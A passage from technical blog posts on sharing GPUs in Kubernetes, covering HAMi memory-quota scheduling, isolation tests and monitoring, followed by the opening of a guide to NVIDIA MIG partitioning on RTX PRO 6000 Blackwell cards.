apiVersion: v1
kind: Pod
metadata:
  name: hami-too-large
  namespace: hami-blog-verify
  annotations:
    nvidia.com/use-gpuuuid: "GPU-04dc48d7-7048-aef5-ad36-f5db716e7668"
spec:
  restartPolicy: Never
  containers:
    - name: too-large
      image: ubuntu:22.04
      command: ["sleep", "3600"]
      resources:
        limits:
          nvidia.com/gpu: 1
          nvidia.com/gpumem: 90000
          nvidia.com/gpucores: 10
        requests:
          nvidia.com/gpu: 1
          nvidia.com/gpumem: 90000
          nvidia.com/gpucores: 10
```

Apply it, inspect placement, and read only this pod's events:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl apply -f hami-too-large.yaml
pod/hami-too-large created

root@utho-gpu-rtxpro6000-8-62383:~# kubectl get pod hami-too-large \
  -n hami-blog-verify \
  -o custom-columns='NAME:.metadata.name,STATUS:.status.phase,SCHEDULER:.spec.schedulerName,NODE:.spec.nodeName'
NAME             STATUS    SCHEDULER        NODE
hami-too-large   Pending   hami-scheduler   <none>

root@utho-gpu-rtxpro6000-8-62383:~# kubectl get events \
  -n hami-blog-verify \
  --field-selector involvedObject.name=hami-too-large \
  --sort-by=.lastTimestamp
LAST SEEN   TYPE      REASON             OBJECT               MESSAGE
18s         Warning   FailedScheduling   pod/hami-too-large   0/1 nodes are available: 1 NodeUnfitPod. no new claims to deallocate, preemption: 0/1 nodes are available: 1 No preemption victims found for incoming pod.
18s         Warning   FailedScheduling   pod/hami-too-large   0/1 nodes are available: 1 NodeUnfitPod. no new claims to deallocate, preemption: 0/1 nodes are available: 1 No preemption victims found for incoming pod.
18s         Warning   FilteringFailed    pod/hami-too-large   1 nodes CardInsufficientMemory(utho-gpu-rtxpro6000-8-62383)
18s         Warning   FilteringFailed    pod/hami-too-large   1 nodes CardUuidMismatch(utho-gpu-rtxpro6000-8-62383)
18s         Warning   FilteringFailed    pod/hami-too-large   no available node, 1 nodes do not meet
```

The HAMi scheduler log makes the per-card result unambiguous:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl logs \
  -n hami-system -l app.kubernetes.io/component=hami-scheduler \
  -c vgpu-scheduler-extender --tail=2000 \
  | grep '"NodeUnfitPod".*hami-too-large' | tail -1
I0723 10:27:23.686479       1 score.go:169] "NodeUnfitPod" pod="hami-blog-verify/hami-too-large" node="utho-gpu-rtxpro6000-8-62383" reason="7/8 CardUuidMismatch, 1/8 CardInsufficientMemory"
```

The UUID mismatch is expected for the seven cards excluded by the explicit GPU 5 pin. The matching card's decisive result is `CardInsufficientMemory`: `90,000 + 8,000 + 8,000 = 106,000 MiB`, which exceeds its 97,887 MiB scheduling budget. The pod remains Pending and has no node because HAMi rejects it during scheduling. No container starts, so there is no CUDA or HAMi-Core OOM message in this test.

### Fixed MiB or percentage?

`nvidia.com/gpumem-percentage` requests a percentage of whichever card the scheduler chooses. HAMi's docs explicitly say not to combine it with fixed `gpumem`. On this 97,887 MiB card, a tested 50% memory request, paired with a separate 5% core request, produced:

```text
GPU-f4c61521-...,NVIDIA,48943,5:;
GPU-f4c61521-..., 48943 MiB
```

Use fixed MiB when the application has a known memory requirement. Use a percentage when the intent is “half of any selected card” across a mixed-capacity fleet. The official [memory allocation guide](https://project-hami.io/docs/userguide/nvidia-device/specify-device-memory-usage) defines both forms.

## How to Verify Where a Slice Landed

With `deviceSplitCount: 10`, "my pod got a GPU" no longer tells you _which_ physical card. HAMi records its placement decision in pod annotations:

```bash
POD=$(kubectl get pods -n hami-blog-verify \
  -l app=pytorch-hami-demo \
  -o jsonpath='{.items[0].metadata.name}')

kubectl get pod -n hami-blog-verify "$POD" -o json \
  | jq '.metadata.annotations | with_entries(select(.key | test("hami|gpu"; "i")))'
```

The annotation to look for is `hami.io/vgpu-devices-allocated`. Its value encodes the physical GPU UUID, vendor, memory grant, and core grant for each allocated device. Our fresh test reported `GPU-04dc48d7-...,NVIDIA,8000,10:;`, which maps to GPU 5 in `nvidia-smi -L`.

Two ways to cross-check that annotation against reality:

- **From the host:** `nvidia-smi --query-compute-apps=gpu_uuid,pid,used_memory --format=csv` shows the physical UUID for each process. It should match the annotation.
- **Across replicas:** compare both annotations. Same UUID means the containers share a card. For a deterministic test, use `nvidia.com/use-gpuuuid`; do not keep adding replicas and hope two collide.

## Software Isolation vs. Hardware Isolation

This is the tradeoff to internalize before using HAMi for multi-tenancy:

![Excalidraw-style comparison of NVIDIA time-slicing, HAMi software quotas, and MIG hardware partitions](/img/blog/sharing-gpus-in-kubernetes-with-hami/hami-isolation-spectrum.png)

|                         | **NVIDIA time-slicing**                                                           | **HAMi (`hami-core`)**                                                                       | **MIG**                                                                          |
| ----------------------- | --------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- |
| Isolation boundary      | No per-replica GPU memory/compute boundary                                        | User-space interception through `libvgpu.so` and `/etc/ld.so.preload`                        | Hardware GPU instances with dedicated memory/compute resources                   |
| Memory shape            | Every replica sees the whole card                                                 | 1 MiB request granularity                                                                    | Fixed profiles such as `1g.24gb` and `2g.48gb`                                   |
| Compute shape           | Workloads take turns; no per-replica cap                                          | 1% request granularity, implemented through time-based throttling                            | Fixed fraction of SMs in the profile                                             |
| What the container sees | Full physical GPU                                                                 | Virtual total equal to its grant                                                             | Its MIG device/profile                                                           |
| Reconfiguration         | Change plugin config/redeploy affected pods                                       | Change the workload request                                                                  | Destroy/recreate affected instances; toggling mode may require a reset on Ampere |
| Important limitation    | One workload can consume free VRAM needed by another workload's later allocations | Direct-driver paths, Docker-in-Docker, or `CUDA_DISABLE_CONTROL=true` can bypass enforcement | Requires supported GPU, driver, and profile geometry                             |

Time-slicing does not automatically crash every neighbor when one process gets an OOM. The precise risk is that all replicas share the same physical memory pool without per-replica caps: one workload can consume the remaining VRAM, causing later allocations in other workloads to fail.

Time-slicing shares access but does not give each pod a protected memory budget. HAMi adds software-enforced memory and compute quotas for supported CUDA workloads; in our PyTorch test, it stopped the container at its 8,000 MiB grant. The [HAMi troubleshooting guide](https://project-hami.io/docs/troubleshooting) documents paths that can bypass that user-space enforcement, so HAMi should be treated as resource control rather than a hard security boundary. MIG partitions supported GPUs in hardware, providing stronger isolation and more predictable performance, but with fixed profile sizes and more involved reconfiguration. For mutually untrusted tenants, combine MIG or a dedicated GPU with the VM or host isolation appropriate to your security model.

## Testing the Blast Radius: What Happens When a Pod Exceeds Its Memory Quota

With two replicas running, each holding an 8,000 MiB / 10% grant on the _same_ physical GPU, the question is straightforward: if one container allocates beyond 8,000 MiB, does only that allocation fail, or does the neighbor fail too?

{{hami-blast-radius-animation}}

This test covers a normal PyTorch/CUDA allocation path. It proves the configured quota for that path; it does not prove that user-space interception is impossible to bypass.

### Step 1: Spike memory usage from inside the pod

No need to change the Deployment. Exec into one replica and retain 20,000 × 20,000 FP32 tensors until HAMi-Core refuses the next allocation. Each tensor contains 400 million four-byte values: 1.6 GB in decimal units, or about 1.49 GiB.

```bash
POD=pytorch-hami-demo-77b6f5dcd9-whrbg

kubectl exec -i -n hami-blog-verify "$POD" -- python3 - <<'PY'
import torch

tensors = []
print(
    f"Visible limit: {torch.cuda.get_device_properties(0).total_memory / 1024**2:.0f} MiB",
    flush=True,
)
try:
    for index in range(1, 9):
        tensors.append(
            torch.empty((20_000, 20_000), dtype=torch.float32, device="cuda")
        )
        torch.cuda.synchronize()
        allocated = torch.cuda.memory_allocated() / 1024**2
        print(f"block {index}: {allocated:.0f} MiB allocated", flush=True)
except torch.OutOfMemoryError as error:
    print("HAMi boundary reached: CUDA out of memory", flush=True)
    print(str(error).split(". If reserved")[0], flush=True)
PY
```

The main matmul process already held about 2.06 GiB, and the exec process shared the same container budget. The command returned:

```text
Visible limit: 8000 MiB
[HAMI-core ERROR (pid:563 thread=134804753249792 allocator.c:52)]: Device 0 OOM 9185657856 / 8388608000
[HAMI-core ERROR (pid:563 thread=134804753249792 allocator.c:52)]: Device 0 OOM 9185657856 / 8388608000
block 1: 1526 MiB allocated
block 2: 3052 MiB allocated
block 3: 4578 MiB allocated
HAMi boundary reached: CUDA out of memory
CUDA out of memory. Tried to allocate 1.49 GiB. GPU 0 has a total capacity of 7.81 GiB of which 765.87 MiB is free. Process 1 has 2.06 GiB memory in use. Including non-PyTorch memory, this process has 5.01 GiB memory in use.
```

The two identical raw HAMi-Core lines came from the intercepted allocation path; the script then caught PyTorch's `OutOfMemoryError` and printed the readable summary. The first three new tensors succeeded. The fourth allocation would have pushed HAMi's tracked total to **9,185,657,856 bytes** against an **8,388,608,000-byte** limit, exactly 8,000 MiB. PyTorch sees 7.81 GiB because GiB uses powers of 1024. The card itself was nowhere near its 97,887 MiB physical limit, so this was a software quota verdict rather than a physical-card OOM.

### Step 2: Check the offending container, neighbor, and host

```bash
# 1. Virtualized view inside the offending container.
kubectl exec -n hami-blog-verify pytorch-hami-demo-77b6f5dcd9-whrbg -- \
  nvidia-smi --query-gpu=uuid,memory.total,memory.used --format=csv

# 2. Real processes and physical UUID from the host.
nvidia-smi --query-compute-apps=gpu_uuid,pid,used_memory --format=csv

# 3. Pod state and restart count for both replicas.
kubectl get pods -n hami-blog-verify -l app=pytorch-hami-demo \
  -o custom-columns='NAME:.metadata.name,STATUS:.status.phase,RESTARTS:.status.containerStatuses[0].restartCount'

# 4. The neighbor's virtualized memory after the failed allocation.
kubectl exec -n hami-blog-verify pytorch-hami-demo-77b6f5dcd9-wx677 -- \
  sh -c 'nvidia-smi --query-gpu=uuid,memory.total,memory.used --format=csv,noheader 2>/dev/null'
```

The terminal view below shows the same virtual capacity and rejected allocation:

![The pod's virtualized nvidia-smi pinned near its 8000MiB grant while hami-core rejects the next allocation](/img/blog/sharing-gpus-in-kubernetes-with-hami/oom-blast-radius.png)

The fresh post-test checks returned:

```text
NAME                                 STATUS    RESTARTS
pytorch-hami-demo-77b6f5dcd9-whrbg   Running   0
pytorch-hami-demo-77b6f5dcd9-wx677   Running   0

GPU-04dc48d7-7048-aef5-ad36-f5db716e7668, 8000 MiB, 2107 MiB
```

- **Offending container:** HAMi-Core returned OOM at its 8,000 MiB account boundary.
- **Neighbor:** remained `Running`, had zero restarts, and still reported 2,107 MiB used of its own 8,000 MiB grant.
- **Host:** showed both long-running processes on GPU 5. Physical memory headroom did not override the container limit.
- **Application behavior:** this exec script catches the `RuntimeError`, so the pod stays alive. An uncaught OOM may terminate the process and trigger whatever restart policy the workload defines.

The result is deliberately narrow and useful: **for this PyTorch/CUDA path, the memory overrun was contained to the offending container's allocation and the neighbor continued running.** The boundary is still a user-space contract, not a MIG hardware partition.

## Monitoring the Slices

A one-off test is not an operations strategy. HAMi exposes two Prometheus-format endpoints: one for allocation decisions and one for live usage. Prometheus/Grafana are still separate components if you want storage, alerting, and dashboards.

Do not guess the ports from an old example. Check the Services installed by your chart:

```text
root@utho-gpu-rtxpro6000-8-62383:~# kubectl get service -n hami-system
NAME                         TYPE       PORT(S)
hami-device-plugin-monitor   NodePort   31992:31992/TCP
hami-scheduler               NodePort   443:31998/TCP,31993:31993/TCP
```

**The scheduler's view:** cluster-wide allocation state, exposed by the `hami-scheduler` service (NodePort `31993` by default):

```bash
curl http://127.0.0.1:31993/metrics
```

This answers allocation questions: how much of each physical card's memory/core budget is promised (`hami_gpu_memory_allocated_bytes`, `hami_gpu_core_allocated_ratio`), how many containers share it (`hami_gpu_shared_count`), and which pods own each grant. With two 8,000 MiB / 10% containers on GPU 5, the scheduler endpoint reported an aggregate 16,000 MiB and 20% reservation:

```text
hami_gpu_core_allocated_ratio{device_index="5",device_uuid="GPU-04dc48d7-..."} 20
hami_gpu_memory_allocated_bytes{device_cores="20",device_index="5",device_uuid="GPU-04dc48d7-..."} 1.6777216e+10
```

The official [cluster allocation metrics reference](https://project-hami.io/docs/userguide/monitoring/device-allocation) documents the metric names and labels.

**The node's view:** real-time per-container usage, exposed by the `vgpu-monitor` sidecar through NodePort `31992` on this chart:

```bash
curl http://127.0.0.1:31992/metrics
```

This is the usage-side counterpart. For the unaffected neighbor, it reported about 2.21 GB used against an 8.39 GB byte limit:

```text
hami_container_device_memory_bytes{namespace="hami-blog-verify",pod="...-tj9rg"} 2.208433152e+09
hami_vgpu_memory_limit_bytes{namespace="hami-blog-verify",pod="...-tj9rg"} 8.388608e+09
```

The current [real-time usage reference](https://project-hami.io/docs/userguide/monitoring/real-time-device-usage) lists host, container, memory, and utilization metrics. Alert on both dimensions: **allocated** tells you what the scheduler has promised; **used** tells you what applications actually consume.

Wire both endpoints into Prometheus and a few panels give you the dashboard a shared-GPU platform actually needs. A useful layout keeps fleet capacity, per-pod grants, and per-GPU allocation visible together:

![Grafana dashboard built from HAMi scheduler metrics: fleet stats, per-pod slices, and per-GPU allocation against the physical limit](/img/blog/sharing-gpus-in-kubernetes-with-hami/hami-grafana-dashboard.png)

The dashboard is useful because it keeps three different numbers separate: physical cards, logical sharing slots, and actual resource grants. Mixing those is how an eight-GPU node gets mistaken for an 80-GPU node.

Once the outputs were captured, the temporary workloads were removed while the clean HAMi installation remained running:

```bash
kubectl delete namespace hami-blog-verify --wait=true
```

## Common Pitfalls and How to Solve Them

### Pitfall A: Assuming `nvidia.com/gpu` Count Reflects Physical GPU Count

The first time you see `nvidia.com/gpu: 80` on an 8-GPU node, it's easy to assume something is broken. Here, all eight whole GPUs are registered and each contributes ten logical slots. Check the `hami.io/node-nvidia-register` annotation before assuming a misconfiguration; the number of GPU entries and the `"count"` field per entry explain the capacity.

### Pitfall B: Expecting `nvidia.com/gpu: 1` Alone to Mean “One Tenth”

HAMi documents `nvidia.com/gpu` without memory/core fields as exclusive-GPU mode. I tested it on idle GPU 6; the allocation annotation was `GPU-f4f5db98-...,NVIDIA,97887,100:;`, and `nvidia-smi` inside the container reported all 97,887 MiB. If you intend to share, state `gpumem` and/or `gpucores` explicitly.

### Pitfall C: Treating `requests` and `limits` Differently

Kubernetes extended resources cannot be overcommitted like CPU. Put the HAMi resources in `limits`; if you include `requests`, use the same values. A mismatched manifest is rejected before HAMi can schedule it.

### Pitfall D: Removing `runtimeClassName` Without Checking the Runtime

Our manifest has no `runtimeClassName` because containerd's default is already `nvidia` and the HAMi chart did not create one. That is a property of this installation, not a universal copy/paste rule. A GPU Operator cluster may have `nvidia` or CDI-related RuntimeClasses, while an NRI-enabled Operator cluster may intentionally have none. Check `kubectl get runtimeclass`, `containerd config dump`, and your Operator mode before copying the field. A reference to a nonexistent runtime handler prevents the pod sandbox from starting.

### Pitfall E: Blaming HAMi for a Slow First Deployment

The NGC PyTorch image used above is a multi-gigabyte pull. On a fresh node, the pod will sit in `ContainerCreating` for several minutes while containerd downloads it, which looks a lot like a scheduling or webhook failure if you're watching for HAMi problems. `kubectl describe pod` disambiguates instantly: a `Pulling image` event means wait; a `FilteringFailed` event with `CardInsufficientMemory` means the selected card cannot fit the request alongside its existing tenants.

### Pitfall F: Treating HAMi-Core Limits as Hardware-Equivalent to MIG

As covered above, plan your multi-tenancy story around what `hami-core` actually demonstrated here (per-container quota enforcement through supported CUDA runtime and NVML paths), not around MIG's stronger silicon-level isolation. For adversarial or security-sensitive workloads, use MIG or dedicated GPUs together with the VM or host isolation required by your threat model.

## Conclusion

HAMi trades MIG's hardware boundary for flexibility: memory in 1 MiB units, compute in 1% steps, and limits that change with the workload spec instead of a hardware repartition.

Here's what this setup walked through:

1. Built a clean Kubernetes v1.35.6 node, configured the NVIDIA default runtime, and installed HAMi v2.9.0 as Helm revision 1.
2. Traced the live `nvidia.com/gpu: 80` to eight registered whole GPUs with `deviceSplitCount: 10`, separating logical concurrency from physical capacity.
3. Ran two fresh PyTorch replicas on one explicitly pinned GPU, each with an 8,000 MiB / 10% grant.
4. Proved that an unfit 90,000 MiB request stayed Pending with `CardInsufficientMemory`, even though logical count slots remained.
5. Reproduced HAMi-Core rejecting an attempted 9,185,657,856-byte total against an 8,388,608,000-byte grant while the neighboring container remained Running with zero restarts.
6. Tested the two easy-to-misunderstand resource forms: GPU-only produced an exclusive 97,887 MiB / 100% allocation, and a 50% request produced 48,943 MiB.
7. Queried the live allocation endpoint on `31993` and usage endpoint on `31992`, then checked the corresponding Grafana view.

The payoff is fractional, self-service GPU access without pretending software quotas are silicon walls. For cooperative notebooks, CI jobs, and inference services, that can recover a great deal of stranded capacity. For strict QoS, choose MIG. For mutually untrusted tenants, pair MIG or dedicated GPUs with an appropriate VM or host boundary.

HAMi is a CNCF Incubating project. The docs live at [project-hami.io](https://project-hami.io/) and the source at [github.com/Project-HAMi/HAMi](https://github.com/Project-HAMi/HAMi). For the hardware-isolation side of this story, continue with our [MIG deep dive](/blog/slicing-gpus-in-kubernetes-with-nvidia-mig).

---

# Slicing GPUs in Kubernetes with NVIDIA Multi-Instance GPU (MIG)

- Canonical: https://blog.kubesimplify.com/slicing-gpus-in-kubernetes-with-nvidia-mig
- Published: 2026-07-20
- Summary: GPU sharing in Kubernetes explained: time-slicing vs MPS vs MIG, every nvidia-smi command to enable and disable MIG on one GPU or eight, GPU Operator automation, pitfalls, and DCGM monitoring.

GPUs are the most expensive thing in your cluster and the worst shared. A CPU can be divided into millicores. Memory can be requested byte by byte. But ask Kubernetes for a GPU and you get the whole card, all 96GB of it, even if your model needs 20GB.

This post is the story of fixing that. We take a node with **8x NVIDIA RTX PRO 6000 Blackwell GPUs** (768GB of VRAM in total) and slice it into **32 fully isolated 24GB GPU instances** using **Multi-Instance GPU (MIG)**. First by hand with `nvidia-smi`, one card at a time, so you see every command including how to undo everything. Then across all 8 cards at once. Then declaratively with the NVIDIA GPU Operator so it survives beyond a single SSH session.

Who this is for:

- Platform engineers and SREs who run GPU nodes in Kubernetes and are tired of watching 96GB cards sit mostly idle.
- Teams that need hardware-level tenant isolation on shared AI infrastructure while keeping finance happy about utilization.

By the end, a PyTorch workload will be running on a single hardware-isolated slice, and you will be able to prove the isolation from both inside and outside the container.

While this setup was tested on a single node, nothing here is single-node specific. It works the same regardless of how many GPU nodes you have.

## The Problem: Kubernetes Hands Out GPUs Whole

Here is a scenario that plays out on GPU clusters everywhere.

Your team provisions a node equipped with 8x NVIDIA RTX PRO 6000 Blackwell GPUs. You deploy the standard Kubernetes GPU Operator, which registers the node resources as `nvidia.com/gpu: 8`.

Then a developer deploys a lightweight LLM inference pod or a small PyTorch training job. Kubernetes assigns them a whole GPU. The workload claims the entire 96GB Blackwell card but only uses 20GB.

The remaining 76GB sits idle.

Because standard GPUs are scheduled as indivisible resources, eight small workloads lock down eight entire cards. Your platform is left with zero schedulable GPU capacity, artificially high queue latency, and a cluster operating at a fraction of its financial and compute potential.

Now you are stuck answering an uncomfortable question: how do you justify low cluster utilization to finance while your development teams are complaining about lack of GPU availability?

The fix is GPU sharing. But "sharing a GPU" means very different things depending on how you do it, and picking the wrong mechanism is how you end up with one tenant's memory leak crashing another tenant's training job.

## The Three Ways to Share a GPU

NVIDIA gives you three mechanisms to put more than one workload on a card. To understand why they behave so differently, you first need to know what actually happens when a process uses a GPU.

### First: How a Process Talks to a GPU

A GPU is a big box of tiny workers. Our card has 188 of them (NVIDIA calls each one a **Streaming Multiprocessor**, or **SM**), and they all crunch numbers at the same time. That parallelism is the whole reason GPUs are fast.

Your actual program runs on the CPU. When it needs the GPU, it opens a **session** with the card (the technical name is a *CUDA context*). That session is the program's private workspace on the GPU: it holds the program's data in GPU memory, plus the small GPU programs it wants to run (each of those is called a **kernel**). Every program gets its own session, and one session can never read another's memory.

Here is the catch that makes sharing hard: **by default, the GPU runs only one session at a time.** Suppose your program is light and only keeps 20 of the 188 workers busy. The other 168 do not get handed to anyone else, they just sit idle, because it is your turn and the whole card is yours until you finish. A second program cannot squeeze its work onto the free workers; it waits in line.

So a GPU, out of the box, is a single-tenant machine: one program at a time, everyone else waiting. Every method below is a different way to attack that one problem.

![The GPU sharing spectrum: time-slicing, MPS, and MIG compared](/img/blog/slicing-gpus-in-kubernetes-with-nvidia-mig/gpu-sharing-spectrum.png)

### Time-Slicing: Take Turns, Fast

Time-slicing keeps the "one at a time" rule but makes the turns very short, so it *feels* like sharing. Picture one meeting room and three teams: team A uses it for a few minutes, steps out, team B goes in, then team C, and around again. A GPU does the same thing: program A gets the whole card for a moment, then it is frozen and program B gets it, then C, then back to A. They rotate. Nothing ever runs side by side.

Two things go wrong with this.

**Switching costs real time.** Every time the card changes hands, it has to save everything the current program was in the middle of and load in the next one's. There is a lot of that state on a GPU, so the hand-off itself burns time that could have gone to actual work.

**Nobody enforces fairness.** On a CPU, the operating system forces everyone to take fair turns, so no single program can hog the machine. GPU time-slicing has no such referee: no guaranteed turn length, no priorities. A program that keeps the card busy with back-to-back work simply keeps holding it, and the others starve. (Older GPUs were worse: the card could only change hands once a program *finished* the piece of work it had started, so one long job froze everyone until it was done. Newer GPUs can cut a long job off partway, which helps, but there is still no promise of a fair share.)

There is also a practical split worth knowing: this hurts training and inference differently. A training job runs long, heavy work that keeps the whole card busy, so forcing it to take turns just makes everyone slower. Inference usually runs in short bursts with gaps in between, which packs into shared turns much more comfortably.

This is why the Kubernetes "time-slicing" feature is a bit of a misnomer. It does not divide time fairly; it just tells Kubernetes "this one GPU is really four," lets four pods land on it, and leaves them to fight over turns. A more honest name is oversubscription: Kubernetes thinks there are four GPUs, the hardware knows there is one.

And the biggest gap is memory, which is not divided at all. Every pod draws from the same pool of GPU memory, and nothing tracks who is supposed to get how much. If one pod uses it all (or leaks), the next pod that asks the GPU for memory is refused and crashes, through no fault of its own. Time-slicing is fine for a dev box or bursty, trusted jobs. It is not real isolation.

### MPS: Everyone Shares One Session

Time-slicing leaves all those workers idle during each turn. MPS (Multi-Process Service) goes straight after that waste with a trick: if the GPU only runs one session at a time, then put *everyone* in the same session.

A helper process sits in front of the card. Every program hands its work to that helper, and the helper feeds all of it to the GPU as though it came from a single, well-behaved program. Because it is now one session, work from different programs really does run at the same time on different workers. Three light services that each need 20% of the card can run together and fill it, instead of taking turns and leaving most of it idle. For lots of small jobs, that is a real speed-up.

The catch is the flip side of the same trick. Once everyone is in one shared session, the natural walls between programs are gone. You *can* ask MPS to cap how much of the card or memory each program gets, but those caps are limits you opt into, not walls the hardware enforces. And everyone shares one fate: if a single program crashes hard, it can take down the shared helper, and when that dies, every program's GPU work dies with it. (Modern GPUs at least stop one program from reading another's data.) MPS shines when one team is packing its own jobs onto a card. It is not where you put an untrusted stranger.

### MIG: Split the Card for Real

MIG (Multi-Instance GPU) stops playing turn-taking games and physically splits the card into several smaller GPUs. Each one gets its own fixed chunk of memory and its own fixed set of workers, walled off from the rest. Each mini-GPU runs its own sessions at the same time as the others, because as far as the hardware is concerned it genuinely *is* a separate, smaller GPU.

That fixes all three problems at once. Run out of memory? You only exhaust *your* slice's memory; the neighbors never notice. Noisy neighbor hogging the card? Cannot happen, because their workers are literally different workers from yours, and their memory traffic runs on separate lanes, so your speed stays steady. A crash? It stays inside your slice. To your workload, a slice just looks like a smaller GPU that behaves predictably.

| | Time-slicing | MPS | MIG |
| --- | --- | --- | --- |
| The trick | Take turns, fast | Everyone shares one session | Split the hardware itself |
| Parallelism | None (take turns) | Real (share the workers) | Real (separate hardware) |
| Isolation | None | Software (shared session) | Hardware (silicon level) |
| Memory protection | None, one shared pool | Opt-in limits | Enforced by hardware |
| Fault blast radius | Whole card | Whole card (helper dies, all die) | One slice |
| Performance | Variable, context-switch overhead | Good for small kernels | Predictable, dedicated units |
| Best for | Dev/test, trusted bursty jobs | One team packing its own card | Shared platforms with real tenant boundaries |

If you are building a platform where different teams, customers, or environments share the same silicon, MIG is the only option of the three that gives you a hardware guarantee instead of a promise. That is the mechanism this post is about.

One caveat before you commit: MIG needs supported hardware (A100/A30 Ampere onwards, Hopper, Blackwell including the RTX PRO 6000 Server Edition we use here), and a MIG slice cannot exceed one physical card. If your model needs more than 96GB, MIG is not your problem to solve; multi-GPU is.

## Prerequisites

To follow along, you will need root access to a GPU node and admin access to a Kubernetes cluster. Here is the exact infrastructure used in this setup:

- **Host OS:** Enterprise Linux VM (Ubuntu-based) on Utho Cloud.
- **Cloud Provider:** Utho Cloud.
- **Kubernetes:** v1.35.6
- **GPU Operator Chart:** gpu-operator-v26.3.3
- **Container Runtime:** `containerd`.
- **CPUs:** 256 Cores.
- **RAM:** 1259GB.
- **GPUs:** 8x NVIDIA RTX PRO 6000 Blackwell Server Edition (96GB VRAM, 188 Streaming Multiprocessors / SMs per card).
- **NVIDIA Host Driver:** `610.43.02` with **CUDA:** `13.3`.

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi -L
GPU 0: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-8b89b58e-b427-108d-ac50-06138d78fe78)
GPU 1: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-03a041b7-8abf-360a-d1a2-dfd70188cd5f)
GPU 2: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-ba09367f-dd50-32ca-e988-7ff66bece885)
GPU 3: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-30512c46-708b-f374-5698-ee24be6cd626)
GPU 4: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288)
GPU 5: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-04dc48d7-7048-aef5-ad36-f5db716e7668)
GPU 6: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-f4f5db98-143f-0a8d-47ce-956fab39a736)
GPU 7: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-f4c61521-240a-da09-2787-e576034e197e)
```

## The MIG Mental Model: GPU Instances and Compute Instances

Before slicing a GPU, it is crucial to understand what a slice actually contains.

Every slice consists of a **GPU Instance (GI)** and a **Compute Instance (CI)**. The easiest way to think about them:

1. **The GPU Instance (GI) is the plot of land.** When you create a GI, you carve out a physical chunk of VRAM and its memory controllers. This land is securely fenced off at the silicon level. No other partition or process on the GPU can cross this boundary or access this memory.
2. **The Compute Instance (CI) is the building built on that land.** The building houses the execution machinery: the Streaming Multiprocessors (SMs) and Tensor Cores that perform the actual mathematical computations.

![GPU Instance is the plot of land, Compute Instance is the building on it](/img/blog/slicing-gpus-in-kubernetes-with-nvidia-mig/gi-ci-relationship.png)

The relationship between a GI and a CI is strictly hierarchical:

- **No building without land.** You cannot establish a Compute Instance without first creating a parent GPU Instance. Execution units must have a dedicated memory boundary to run in.
- **Size constraints.** The capacity of the building (CI) cannot exceed the size of the plot of land (GI). You cannot allocate more compute slices (SMs) than the parent VRAM slice naturally supports.
- **Sub-division.** You can build a single large structure (one CI matching the full GI) or divide the plot to support multiple smaller buildings (multiple smaller CIs). In the latter scenario, those compute instances run in parallel, sharing the same VRAM pool of the parent GI while keeping their execution cores strictly isolated.
- **Teardown order matters.** You cannot clear the plot of land (destroy the GI) while the building is still standing (the CI exists). The driver will reject the command. You must demolish the building first (destroy all CIs), then reclaim the land (destroy the parent GI). This rule shows up again below in the hands-on teardown steps.

Why split both memory and compute? If you only partitioned the memory and left the compute cores shared, you would have multiple isolated storage units but one set of hands trying to access all of them at once, causing traffic jams. If you only partitioned the compute cores but kept a shared memory pool, you would have independent workers writing on the same sheet of paper, causing conflicts and corruption. By slicing both, every tenant gets their own locked filing cabinet and their own dedicated worker.

### How to Read MIG Profile Names

NVIDIA profiles follow the naming scheme `{X}g.{Y}gb`:

- **`{Y}gb`** is the VRAM partition (the GI layer).
- **`{X}g`** is the compute slice count.

The RTX PRO 6000 Blackwell has 188 SMs and divides its silicon into **4 base compute slices**. So a **`1g.24gb`** slice gets roughly 1/4th of the card: **46 SMs** paired with a 24GB VRAM partition. (It is a hair under a clean quarter because the driver holds a few SMs back, so four slices use 184 of the 188.) A `2g.48gb` slice gets half the card, and `4g.96gb` is the full card expressed as a single MIG instance.

You will also see suffixed variants like `1g.24gb-me` (a pure-compute slice with the video decode/encode engines stripped out) and `1g.24gb+me.all` (one slice that grabs all of the card's media engines). We will see the full list straight from the driver in a moment.

## Hands-On Part 1: Slice One GPU, End to End

Everything in this section happens on the host, with no Kubernetes involved. We will take GPU 0 through the complete lifecycle: check, enable, inspect, carve, verify, run, and then tear it all back down. If you understand this section, the rest of the post is just automation.

### Step 0: Check the current MIG mode

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi -i 0 --query-gpu=index,name,mig.mode.current --format=csv
index, name, mig.mode.current
0, NVIDIA RTX PRO 6000 Blackwell Server Edition, Disabled
```

`-i 0` targets GPU index 0. Drop the `-i` flag and the same query prints the state of every card in the box.

### Step 1: Stop the daemons holding the GPU

Two operations here look similar but behave very differently under load:

- **Toggling MIG mode (`nvidia-smi -mig 1`):** on older architectures like the Ampere A100, enabling MIG forced a disruptive GPU reset. Starting with Hopper and Blackwell, this is a non-disruptive logical toggle in the driver.
- **Carving the slices (`nvidia-smi mig -cgi ...`):** this is where physical reality hits. The command forces the GPU's memory controllers to partition the memory crossbars on the silicon. If any process holds even a single megabyte of VRAM, the operation fails with `Device or resource busy`.

On enterprise systems, two background services commonly hold handles on GPU device files:

1. **`nvidia-persistenced`:** keeps the driver loaded in kernel memory to avoid launch latency for new CUDA processes.
2. **`nvidia-fabricmanager`:** used on multi-GPU systems connected via NVSwitches (HGX baseboards). If your GPUs are slotted directly into PCIe like ours, this service is not present.

Stop what applies to you:

```sh
root@gpu-rtxpro6000-8:~# sudo systemctl stop nvidia-persistenced
```

Also make sure no CUDA workload (an Ollama server, a Jupyter kernel, anything) is running on the GPU you are about to slice. `nvidia-smi` shows active processes at the bottom of its output.

### Step 2: Enable MIG mode on GPU 0

```sh
root@gpu-rtxpro6000-8:~# sudo nvidia-smi -i 0 -mig 1
Enabled MIG Mode for GPU 00000000:01:00.0

